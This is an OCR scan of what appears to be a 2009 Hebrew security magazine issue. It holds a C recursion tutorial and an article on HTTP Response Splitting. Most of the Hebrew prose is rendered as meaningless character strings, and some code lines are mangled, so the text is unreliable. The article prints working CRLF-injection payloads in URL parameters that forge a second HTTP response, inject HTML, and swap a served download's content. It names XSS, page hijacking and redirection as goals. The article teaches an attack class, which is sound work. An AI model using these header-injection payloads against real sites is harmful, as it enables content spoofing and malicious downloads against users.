N NMainy nnyn Y o'pnily 0nw ,0"hp17 0NYN Da N7apn A DY 0funioa

.N¥I90

N2 2'0NIY K70 T2 VM)

void f1l (int x)
{

printf (*x = %d\n”, x);
x = 8;
printf (*x = %d\n”, x);

}

int main ()

{

int x = 5;
£f1(x);
printf (*x = %d\n”, x);

return O;

NN NTHIN DR 7'N2NY7 0NN NNIX

Y2190 7¢ nINWNA DYI'Y .main() 7Y int x NINWNNN MIY XInY Lint x oW nanwn v f1()-7

.main() 72y wowr X7 f1()

NN 0790 TIPN DR Y AWKRD NOp' NN nRN] IR

x =5
x = 8
x =5
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2V DTN AWKRD main.x DNoN 1INIX VIVIYA N'DSIA NN IT N'DINA MIpPY NN NX 1'"X)

.main() N'¥I92 YTANY X NINYNN

main() f10
7' f1.x=5

main.x=5 / printf(“x = %d\n”, X); 5 091"
f1(main.x); / X=8; 8 n'm f1 Yw x ninwnn

\ pl’intf(“x = %d\n”, X), 8 0oTI'

\\

5 o091t printf(“x = %d\n”, x);

:017wn
S-20mw maintw x mnwnn A7Nnna e

¢ X MINYNN - WTN NINWA XA (YN T 20 nanion ARMzn) £1() nXpao? oIz NNIX UKD e

.main() 7w x 7w wn N 7apn KNt ()

T 7V NINION NNTNN) Main-7 DMTIN 1INIX TWKRD .12IXD f1.x 27U Wn IR DY 09710 NNIX @
7¢ X NINYNN DK 0'0'9TN 1IY 1INIX X IR D'0'9 TN 1INIXWII ,0%7W1 f1.x nInwnn ,(wn ynn

.5 T 7D NfENINWN K7 MK DWW, main()

NI'X21I9N TN AR - MY RYN

NN"NON N'YZAI9 .27 AKIPY DXAI9N X MITIN NYDIND DUNON DY 7Y yIX' TWUXD

J'DIN2 NINNXRD MUY 12YA0 TWKRD IX return 2Imd N2 NIY'Y yan TWXD

‘X2n 2'o X700 Tj7A 0'2)

void f£1 ()
{
printf ("fl - part 1\n");
£2 ()
printf ("fl - part 2\n");
}

void £2 ()
{
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printf ("f2 - part 1\n");
return;

int main ()

{
£1();
return 0;

N7NINN TXD N7 0¥ DXV INIXKY NNl 20790 0'9TN NDINN NN :NNXY DR 7RUIY 17RUN

"N'DINN NNAT

£1()-7 nxip main() n'wxn

main() f10
o, —
f2()-7 nxqi f1 - part 1 nniwn nx no'on f1()
main() f1Q 20
/

f1();

pﬂnﬁ(fi;jfgL1M¥7T/~
f2();

N'Y2190 - NIYNN DTN IT ?DATIN X' X7 DTN DN NRYIE 2 - part 1 niwn DX no'oTn f2()
MW 72X f1() 78 ,NT NpPNna NI - RPN NRY NIYN IR DT DRPY DYN190 R DTN

f1 - part 2 no'oan

main() 10 20
1(); / prinﬁ("w printf("f2 — part 1\n");
£20); return;
-

printf("fl - part 2\n");
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N'N NNUNON N9 UKD return-n NTIPO DX WAI9NA 1Y X7 DX DA .Nnvnon f1() [pn nxY?
N'DINN ,NRDINA NSO NN 'RY [N .main()-7 NT Npna ,n7 AKIPY NYR190 78 DTN

:XIN N7W V7901 NN'NoN

fl - part 1
f2 - part 1
fl - part 2

910N VILYYWN

main() f10 20

f1(); / printf("W printf("f2 — part 1\n");
f2(); return;

-
printf("f1 - part 2\n");

return O; ~—

™~

NI'YI9 - DID'O

'RV NIYOINN NX DD01]

NAYVINY 0DV 7Y DNV DAY 01217 DNNYN DA D720 QN9 '7OW DMunon e

X790 'IX

n'Y;71Io hYy NXKPY A'X21ion X NOTIN N'DINN DTNon n'xX21o 27U yIxa NTUNRD e

"IN NINNRD NIYYT VAN TWKD IX return M) N2 A1IYY 12Ya0 TUKRD Nnnon

N'¥7219 1D [9IX IMIXA 21" T2 NANINA N0 NYZAID *TIINN RYIIN DX WAT IT NNTzn NX
NN N7 U' NPNnaY) NWTN N'YA197 DRI DXV 1R N0NIRY NYZI97 D'RIIP NNIX WWUXD In7a0

n'o N'YIS TWUKRD J72un panwn v N'X2119n U Nt |7TIIU'7 .(I]'?U N'X)72219N IND OV INIXR

X'D N7 D70 T .0 ARPY DYRAI9N IR DOTIN R (NTNYNC'RIN R YN XDOIWRD) NATIN

0N |INA NNIXE AT NNXY
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JINT D'ATN star N'x219 7w iy |NNXN '"N'YUN X'NY ,AXRN NNAITN

#include <stdio.h>

void star (int n)
{
if (n == 0) return;
printf ("*");
star (n-1) ;
printf ("%d", n);

int main ()

{
star (5);
return 0;

I¥D 207 X' 0U790 NNKR Qpyna N9W NN0Nn - T NN 02 .NINN 7w 0791 vy Y

D70nn n'onnN

.star X190 7Y n Y7170 NINWNN INY 0121 0T )W .5 10Nn190 DY star()-7 X1 main()

main() star(n =5)

star(5); /

N'd1D NO'STN N'XI5N .0"p"Nn X7 '\ann ,0 X715 Y0 n-w [1'2n ,N'XyYnN 'XIN DX NPT star()

4170 ,n-1 v Dy nnxy? NXIgELNTTA

main() star(n = 5)

star(5); / if (n == 0) return;

printf("*");

star(n-1);
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27717 NINWN 17 W' Y90 N'NNN YN'7 2'NNN DT PRI .DY2190 7w 01 PNy 7'Nnn Nt 1wl

A DY 1tunn

main() star(n =5) star(n = 4)
=
star(5); ] if (n == 0) return;
printf("*");
star(n-1);

NP N=3 DY ANPI90 ,n=3 DY N¥I97 NRA'0NIY NN NIKIP n=4 N2 N¥7190 ,NNIT [9INA

oy N'¥;211on ‘]IOJ'?I n=1 QY N'2'0NI7Y R NXKIIP n=2 DY N'¥71190 ,n=2 DY NA'0NI NRN}?

.n=0 YN DY N0 RN NRIR n=1

main() star(n = 5) star(n = 4) star(n = 3) star(n = 2) star(n = 1) star(n = 0)
ad
star(5): / if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return;
printf("*"); printf("*"); printf("*"); printf("*"); printf("*");
star(n-1); star(n-1); star(n-1); star(n-1); star(n-1);

o"pPnn X7 NINW DR ,N'NVN 'RIN NIX NTIA n=0 N2 N'¥AIDN .0"PNA NNV 'RIN DT Ul

ANMIPN MNR TN NIYA R ,n=1 N2 AYI90 ,07 ARPY NXRAIDY PNATin K [X? DTN

Jaronpn
main() star(n = 5) star(n = 4) star(n = 3) star(n = 2) star(n = 1) star(n = 0)
star(); // if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return; /If (n == 0) return;
printf("*"); printf("*"); printf("*"); printf("*"); printf("*"); yd
star(n-1); star(n-1); star(n-1); star(n-1); star(n-
printf("%d", n);

Cnowvwa n'O'1I|T1'7 NIan
www.DigitalWhisper.co.il
63

2009 nNa1opIx 1 1M



:027 NN NN NXAN DMK 1'RIY VIVIYN NRY NN "XI ,01'72%72nn D'WaN 12 yopim XD

NIX 0'9TN? NNIXK NNAN NTI79N1 ,n=1 12 N'¥II9N v ?NI1Y2 11NIX .1 190NN Jonn 2V 09TI' NYD

.n

:star 7W TIPN NIK Q1YW YA DR ?NXI9IN NIYON N9'R

void star (int n)

{
if (n == 0)
printf ("*");
star(n-1);
printf ("%d", n);

return;

:NQN [12202 NAWNN DAYINI DYVIV D'WIXK N2IN .n=0 TWKRD XN return-7 D'VANY MIYKRIN DYON
NN 70U 112NN 101N X' NIYLVN ."NNNA NDINNTE main-7 DTN AT 72221, star-n Xy return”
T 2V Nntnon n=0 N2 NR'0NIN NYZAIDNWI .NNYXY 1191 NYWTN Y7197 AR XD N0

.main N'Y2190 X71,n=1 N2 star 'NITY ,N7 NXIPY N'X72197 DTIN X return

J1DINN N71Y9 NN )'wn)

N'D N7 DRPY DYZA9N 117 IRIPY DY1197 DTN 1INIX 271, ,nntnon (n=1 ny) star n'¥j190

0N AR MNKR TN 7N DMTIN NNAX .n=2 NINWNN N2 star

main()

star(n = 5)

star(n = 4)

star(n = 3)

star(n = 2)

star(n = 1)

star(n =0)

star(5); /

if (n == 0) return;

printf("*");

star(n-1);

if (n == 0) return;

printf("*");

star(n-1);

if (n == 0) return;

printf("*");

star(n-1);

if (n == 0) return;

printf("*");

star(n-1);

if (n == 0) return;

printf("*");

star(n-

if (n == 0) return;
s

'\

printf("%d", n); ~T~_Printf("%d", n);

0790 .5 ,4,3 D'09TIN,NNIT [DIXA .N'¥AION 7Y 'NDIN PNIYA N 7W YN INTY ,2 09TIN J0nn 7y

NXIN N'X2190 7w 910N

******12345
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NINMPN 7Y '910N VILWN

main() star(n = 5) star(n = 4) star(n = 3) star(n = 2) star(n = 1) star(n = 0)
ad
star(3); / if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return; if (n == 0) return;
’ -
printf("*"); printf("*"); printf("*"); printf("*"); printf("*"); e
star(n-1); star(n-1); star(n-1); star(n-1); star(n-
retum 0 \ \ \ \
\\printf(“%d", n); T~ printf("%d", n);~~__printf("%d", n);~~__printf("%d", n);~~_Printf("%d", n);

|'0|'7n'7 naninn Nn'oN NI D N7 [N - NI'XI9N XWIID NDNKRN NNT7N2d 12aXNY 1D

.70 N9 1Nd

nid'o

TINA 1'DTA DO D'ANNINAYR 7Y |I'YAN NI NIFYA IN9Y 117 QWOK'Y "D X' At
'ONNN DXPITI'R

JINIMI0N 2NN - NI VIYON A¥NAN IV N'YAN DX INOI (A 'Nxan/) oroa .1

212V NAID1 NI N7 DN, 'NORNN NP VIYD XN 7907 NYTIF N7W QN190W N TYY .2
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HTTP Attacks - Response Splitting
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D'NIN ONX DX ,NI7701 728 , MW DY 079-077 YW 7NWn "'Yy 2Imd 2?07 Ty NINT? TWOK 'N

wun? nm Ty

index.php?lang=iso-8859-8-1i

“charset “ -7 012' Lang :7 010INW "is0-8859-8-i" TVNW NYT? TWOK 11Dl 0'AYS 1IWNT7 X X7

.Response-n 7 “Content-Type" -n N2

2 WA XY, NYY N7W 7Y NIR7n Request-n T TINY'7 0'0121 TWKD

GET /lang.php?lang= iso-8859-8-i HTTP/1.1

Host: Fooberhost

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; he; rv:1.9.0.11)
Gecko/2009060215 GoogleBot (.NET CLR 3.5.30729)

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: he,en-US;g=0.7,en;g=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: windows-1255,utf-8;g=0.7,*;g=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Cache-Control: max-age=0

(.amv Nt DYO ' ,Google-bot 7w NIn 7w User-Agent ,|2)

:N2N |DA'0Q INWN NN TN NNWAY Response-n ,NT> 2¥Na

HTTP/1.1 200 OK

Date: Sat, 18 Jul 2009 18:34:41 GMT

Server: Apache/2.0.52 (Red Hat)

Connection: close

Content-Type: text/plain; charset=1s0o-8859-8-1
Content-Length: 290

<html>
290 bytes of data..

</html>

.NIP77 7TNINW Response-n NI NINAY7 122 Lang-7 010N ya WNANWN NMUNY 17 In'Y
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CR-LF -Avin'vy

.N9PNNN NWOXRNN,LF-1 CR D'INN 7w 0%§7 [1'0 DIY 'K DA TWRD

?LF-1 CR 0'unn 7702 N7 nn

S qio” monn in,"\r"-> DA oin ,"Carriage Return" w1 ix'p on CR - o
.0d :NIN 17w 7R TORNN VN
SMw N7 nn" monn in,"\n" -> 0a 0, "Line Feed" 7w X' DN LF o

.0a :XIN 7Y IR TOZNN WD

NNIY2 0101 "0ND 72 ,WTN CUN1Y) Packet-2 nonim ,HTTP-n '?IPIUI'\E)J MY NT'Y XIN [I'Vn

MO 11'RWY IND ,NYTN

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: he,en-US;g=0.7,en;g=0.3
Accept-Encoding: gzip,deflate

7w NATIN N2 MY TIND VIYD ,NIY T DMNYD D'YNAN 1IN, VTN N7'an ql0 NX |)’JO'7 pal
:NNAN NI, CRLF Q¥ n

"“\r\n\r\n"
wnnunn "'y 01DINY U770 NITYA (Response-n) 17W NAIANN NIX N2 NNWA NNAIT 11'RY 110D
DY NINUNn W' NMwNn 7pnnw Response-n 9I0aw 17 In'w .Request-a Lang ninwn?

TN n'ana ovpw Data-n 712 nn nip'?? manw |, "Content-Length"

;NN V77N NIX Lang-7 0101 DX

index.php?Llang=1is0-8859-8-1%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent—
Type:%$20text/html%0d%$0aContent—
Length:%2017%0d%0a%0d%0a%3Chtml$3ESup?%3C/html%$3E

)2 AR KIN 2R NNWNN 7271w Response -0 'R

HTTP/1.1 200 OK

Date: Sat, 18 Jul 2009 19:06:27 GMT
Server: Apache/2.0.52 (Red Hat)
Connection: close
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Content-Type: text/plain; charset= is0o-8859-8-1%0d%0aContent-
Length:%200%0d%0a%0d%$0aHTTP/1.1%20200%200K%0d%0aContent~
Type:%$20text/html$0d%$0aContent—
Length:%2017%0d%0a%0d%0a%3Chtml$3ESup?%3C/html$3E

290 bytes of data..

"y wIoN' ntn Response-n P71 ,Nmipn 190na "CRLF" n'unn nxX N7710 ntnnnnw 17 m'y

:N2N [DINA NI

HTTP/1.1 200 OK

Date: Sat, 18 Jul 2009 19:06:27 GMT

Server: Apache/2.0.52 (Red Hat)

Connection: close

Content-Type: text/plain; charset= i1is0-8859-8-1
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 17

<html>Sup?</html>

<html>
290 bytes of data..

</html>

Mo0IN 271 ,NMIY NT D'Myd NItV Headers-nn T19In Response-n DIN ,HTTP-n 71j7101n92)
,"%3ChtmI%3ESup?%3C/html%3E"-n |'27 "Content-Length"-n |'2 "%0d%0a" NTINNANN NX D''NYD

(nNX Dyo 1 X7

INQD VTN DR W9 NN 'R A7 N
19017 90N NN7¥N1 7apNn Request-nw MNIRY Response-1 NAITAY ANT' NIZ7N [IWXY 12T

LIDIYIINY YTNN 210 112NN 2¥N 12100 7W NN, VY , 1R IND DMVNTS

?]on INK71 ,is0-8859-8-i -d TTIZNW YT'NI NAITAY NnTA NIF7N 17w 070 van Charset-n W1NKRY

:0 XIN 70 LPRONY VTN 7T DN NIRN

Content-Length: 0
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Content-Type: text/html |

:0'0" 17 XIN PDXRWIL html 'ana wnnwn QTNY INIKY 20NM9
Content-Length: 17 |

VTN yan Xl ,MIY 1T INNKR

<html>Sup?</html>
<html>
290 bytes of data..

</html>

IR N7 2% KINW NNNIXK NINT,0'0' 17 1D1IRY VTN 11T N9 MmNy 27 m'y
<html>Sup?</html> \
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:DNA,NIZ7-TX NIDPNN NN IT N7IYD T NITYA Y¥A7 TWON

.Cross Site Scripting o
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Page Hijacking e

User Redirection e
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Content-Type: audio/mpeg
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Y27 DTN 7w 1anY o'Rknn D Request-ni L yalp TIN7 wpan 2 wnANwnn 0NAY 07Nl 72X
WD Response-n¥ 1IWNY? 971977 DNA7 7211 ,Response Splitting y¥xa? nNwWox 117 n'nn DX

ANXR VTN 291,00 Y27 v i nvinn 7apnng

1INIRY ,"IWN Response-n NN 727 KIN IMNXY71,0170 7'on K7W MIpnn Response-n DK 727 NIR7N
VTN DX 79" MWK YAIR D70 2wNnN 7Y 11X - 191021 ,Y2177 TAR? 7YX TN DK 790 TR, MY

TN W NIR7RY NN Yaipn K71,107T0 DNINY

[9IXQ YaIPN DX YNN? [9T9T7 viaph 7w NNWoX W' FireFox-1 Internet-Explorer 1n> 0191972
NNTAN2 NINION R NXTN NNWOXN NINYION NIXOIAL .YII' DA YaIpPn [271,INTIN INXK7 '0NIvIN

LTnnn N2

WA NIN,UNNYNnn yal 7w ID 7apm Tiyn ,N>Iynnn 0'¥a7n DIMIN 7V 'RINKD TRy 01 N
Y27 7w mwn 'naw Response 771010 ,yalp'? wan LID INIR MY yal Ar'R? P72 ,00Mn TonY
TIX DAY DNIVATON XY NIX 0101 ,NYN 7V YaIpnn 971 XN, YalR'? 0101 RInw Data-n NN
- nNmn raf nR7wnn Response Splitting y¥a'7 70311 Nt TiNva o ,N1777 INIX N71W1 Response-in
DX .11NX' NNIXY VTN DX 7'' yalzn NNRA X 01101 YAl T RINY 21WNY7 Niz77 0na? 720
YN DX YN 9TOTR/WNNYNN TWKRD - RNV 010 IX ,NIZ'TA NITIRO 1901 NN 0101 yTnin
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Download.php?filelD=1337&CRLF-Vuln-Parameter=Value :Tiyn 0"y ,XNAIT?

[11202 VY7 01211 MPN ,WNNWYNY? N7IYI INIX X' ,D"P YAIPNY NXRN ,D21M) Ton? wal nwn

:Xan

&CRLF-Vuln-Parameter=Value30d%0aContent-
Length:%200%0d%0a%0d%$0aHTTP/1.1%20200%200K%0d%0aContent—
Type:%$20application/octet-stream$0d%$0aContent—
Length:%208%0d%0a%0d%0aCalc.exe

'X2N [22'02 XY MMwn '72|7TI'U Response-n

HTTP/1.1 200 OK
Date: Sat, 18 Jul 2009 20:52:11 GMT
Server: Apache/2.0.52 (Red Hat)
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CRLF-Vuln-Parameter: Value%0d%0aContent-Type:%20application/octet—
stream%0d%0aContent-Length:%208%0d%0a%0d%0aCalc.exe

Content-Type: application/octet-stream;

Content-Length: 7535

The Original 7535 bytes

End of 7535 byes

:N2N |9IX2 Response-n NN WIO' NI

HTTP/1.1 200 OK

Date: Sat, 18 Jul 2009 20:52:11 GMT
Server: Apache/2.0.52 (Red Hat)
CRLF-Vuln-Parameter: Value
Content-Type:%20application/octet-stream
Content-Length: 8

Calc.exe

Content-Type: application/octet-stream;
Content-Length: 7535

The Original 7535 bytes

End of 7535 byes

3L Lir L} Yalynw yTnanl ,yalpgn DX T NYYn ,N™D Np7na

Calc.exe
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YT Pt YR (ZIP 1120) 1" YAl TIIN7 W' NIR'7RI DNPNnal IR YT TN YR N

"Corrupted file" 17 Nxn* X7w *121,y2I170 N'1aN NX OXINN
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7712 |MIXW NIMNT7Y 27 IN'Y AWK DNNY DY IR LYAIRZ7 010 X7 VTN IRYY [D,01IWRIN D'0MAN
TINA T MY X .01 X7 2¥N DNA'Y DN LYAIR7 DA INIK 1010 YT N 790 yalpn ,0tion
,MYN DNO KIN YT'NN IRY D [1AN7 Tayn? 0N -TINA VIYD ,N78N Dpnn DY TTINNN? N'01A7X
MYND aNd' (7701 0X) 010'W YN IRWW D ,SQL-Injection Niopnna "--;" 7w T'ONN D wnn
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MIMYN D70 X' D7 TN L,NIXK YA 2mMY nNna
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Yy

|Content—Type: multipart

1NNIRY VIa71 "Range" An2 wnnwin'? 72210, (I'wdy Ty 1nd 200 X71) 206 1'TNNT7 NNWY 1n1aw NRY

7102 K71 yalpm P02 1 nntmvn

R angpblhal

Content-Range: bytes 1-4
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T 'K L HTTP/L.1 9w RFC-n nxk XNp7 TIRN Y7 ,DIRTA N9pNNN DX niv? fan? nin v
JIPI0N9N YW Ngmyn N1an X712 NN NIFMYOXRNE NN ,N0'WA DX [2AN7 N NaIw
UMY [9IXI IT-2V NIdNNIN DITINNAN

http://www.ietf.org/rfc/rfc2616.txt
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